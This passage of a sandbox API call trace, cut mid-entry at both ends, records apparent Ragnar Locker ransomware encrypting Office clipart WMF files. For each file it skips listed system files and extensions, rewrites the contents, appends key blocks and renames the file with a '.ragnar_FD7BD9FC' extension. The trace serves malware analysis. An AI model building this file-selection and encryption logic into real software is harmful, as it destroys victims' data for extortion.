office\\clipart\\pub60cor\\j0152606.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.799] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3094, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152608.WMF", cAlternateFileName="")) returned 1 [0084.799] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.799] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152608.WMF" | out: lpString1="J0152608.WMF") returned="J0152608.WMF" [0084.799] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned=".WMF" [0084.799] lstrcmpiW (lpString1="J0152608.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.799] lstrcmpiW (lpString1="J0152608.WMF", lpString2="autorun.inf") returned 1 [0084.799] lstrcmpiW (lpString1="J0152608.WMF", lpString2="boot.ini") returned 1 [0084.799] lstrcmpiW (lpString1="J0152608.WMF", lpString2="bootfont.bin") returned 1 [0084.799] lstrcmpiW (lpString1="J0152608.WMF", lpString2="bootsect.bak") returned 1 [0084.799] lstrcmpiW (lpString1="J0152608.WMF", lpString2="bootmgr") returned 1 [0084.799] lstrcmpiW (lpString1="J0152608.WMF", lpString2="bootmgr.efi") returned 1 [0084.799] lstrcmpiW (lpString1="J0152608.WMF", lpString2="bootmgfw.efi") returned 1 [0084.799] lstrcmpiW (lpString1="J0152608.WMF", lpString2="desktop.ini") returned 1 [0084.799] lstrcmpiW (lpString1="J0152608.WMF", lpString2="iconcache.db") returned 1 [0084.799] lstrcmpiW (lpString1="J0152608.WMF", lpString2="ntldr") returned -1 [0084.799] lstrcmpiW (lpString1="J0152608.WMF", lpString2="ntuser.dat") returned -1 [0084.800] lstrcmpiW (lpString1="J0152608.WMF", lpString2="ntuser.dat.log") returned -1 [0084.800] lstrcmpiW (lpString1="J0152608.WMF", lpString2="ntuser.ini") returned -1 [0084.800] lstrcmpiW (lpString1="J0152608.WMF", lpString2="thumbs.db") returned -1 [0084.800] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.800] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.800] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.800] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.800] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.800] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.800] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf")) returned 0x20 [0084.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.800] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12436) returned 1 [0084.800] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x308b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.800] GetProcessHeap () returned 0x580000 [0084.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.800] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.802] VirtualAlloc (lpAddress=0x0, dwSize=0x3094, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.802] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.802] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.802] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3094, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3094, lpOverlapped=0x0) returned 1 [0084.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.803] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3094, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.803] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3094, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3094, lpOverlapped=0x0) returned 1 [0084.803] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3094, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.803] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.803] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.803] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.803] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.803] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.804] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.804] GetProcessHeap () returned 0x580000 [0084.804] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.804] CloseHandle (hObject=0xf4) returned 1 [0084.804] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" [0084.804] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.ragnar_FD7BD9FC" [0084.804] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.804] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1748, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152610.WMF", cAlternateFileName="")) returned 1 [0084.804] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.804] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152610.WMF" | out: lpString1="J0152610.WMF") returned="J0152610.WMF" [0084.804] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned=".WMF" [0084.804] lstrcmpiW (lpString1="J0152610.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.804] lstrcmpiW (lpString1="J0152610.WMF", lpString2="autorun.inf") returned 1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="boot.ini") returned 1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="bootfont.bin") returned 1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="bootsect.bak") returned 1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="bootmgr") returned 1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="bootmgr.efi") returned 1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="bootmgfw.efi") returned 1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="desktop.ini") returned 1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="iconcache.db") returned 1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="ntldr") returned -1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="ntuser.dat") returned -1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="ntuser.dat.log") returned -1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="ntuser.ini") returned -1 [0084.805] lstrcmpiW (lpString1="J0152610.WMF", lpString2="thumbs.db") returned -1 [0084.805] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.805] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.805] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.805] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.805] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.805] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.805] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf")) returned 0x20 [0084.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.805] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5960) returned 1 [0084.806] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x173f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.806] GetProcessHeap () returned 0x580000 [0084.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.806] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.807] VirtualAlloc (lpAddress=0x0, dwSize=0x1748, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.807] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.807] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.807] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1748, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1748, lpOverlapped=0x0) returned 1 [0084.808] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.808] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1748, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.808] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1748, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1748, lpOverlapped=0x0) returned 1 [0084.808] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1748, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.808] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1748, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.809] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.809] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.809] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.809] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.809] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.809] GetProcessHeap () returned 0x580000 [0084.809] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.809] CloseHandle (hObject=0xf4) returned 1 [0084.809] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" [0084.809] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.ragnar_FD7BD9FC" [0084.809] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.810] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2584, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152622.WMF", cAlternateFileName="")) returned 1 [0084.810] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.810] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152622.WMF" | out: lpString1="J0152622.WMF") returned="J0152622.WMF" [0084.810] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned=".WMF" [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="autorun.inf") returned 1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="boot.ini") returned 1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="bootfont.bin") returned 1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="bootsect.bak") returned 1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="bootmgr") returned 1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="bootmgr.efi") returned 1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="bootmgfw.efi") returned 1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="desktop.ini") returned 1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="iconcache.db") returned 1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="ntldr") returned -1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="ntuser.dat") returned -1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="ntuser.dat.log") returned -1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="ntuser.ini") returned -1 [0084.810] lstrcmpiW (lpString1="J0152622.WMF", lpString2="thumbs.db") returned -1 [0084.810] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.811] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.811] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.811] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.811] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.811] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.811] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf")) returned 0x20 [0084.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.812] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9604) returned 1 [0084.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x257b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.812] GetProcessHeap () returned 0x580000 [0084.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.812] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.813] VirtualAlloc (lpAddress=0x0, dwSize=0x2584, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.813] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.813] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.813] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2584, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2584, lpOverlapped=0x0) returned 1 [0084.814] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.814] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2584, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.814] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2584, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2584, lpOverlapped=0x0) returned 1 [0084.815] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2584, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.815] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.815] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.815] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.815] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.815] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.815] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.815] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.815] GetProcessHeap () returned 0x580000 [0084.815] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.815] CloseHandle (hObject=0xf4) returned 1 [0084.815] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" [0084.815] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.ragnar_FD7BD9FC" [0084.815] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.816] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152626.WMF", cAlternateFileName="")) returned 1 [0084.816] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.816] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152626.WMF" | out: 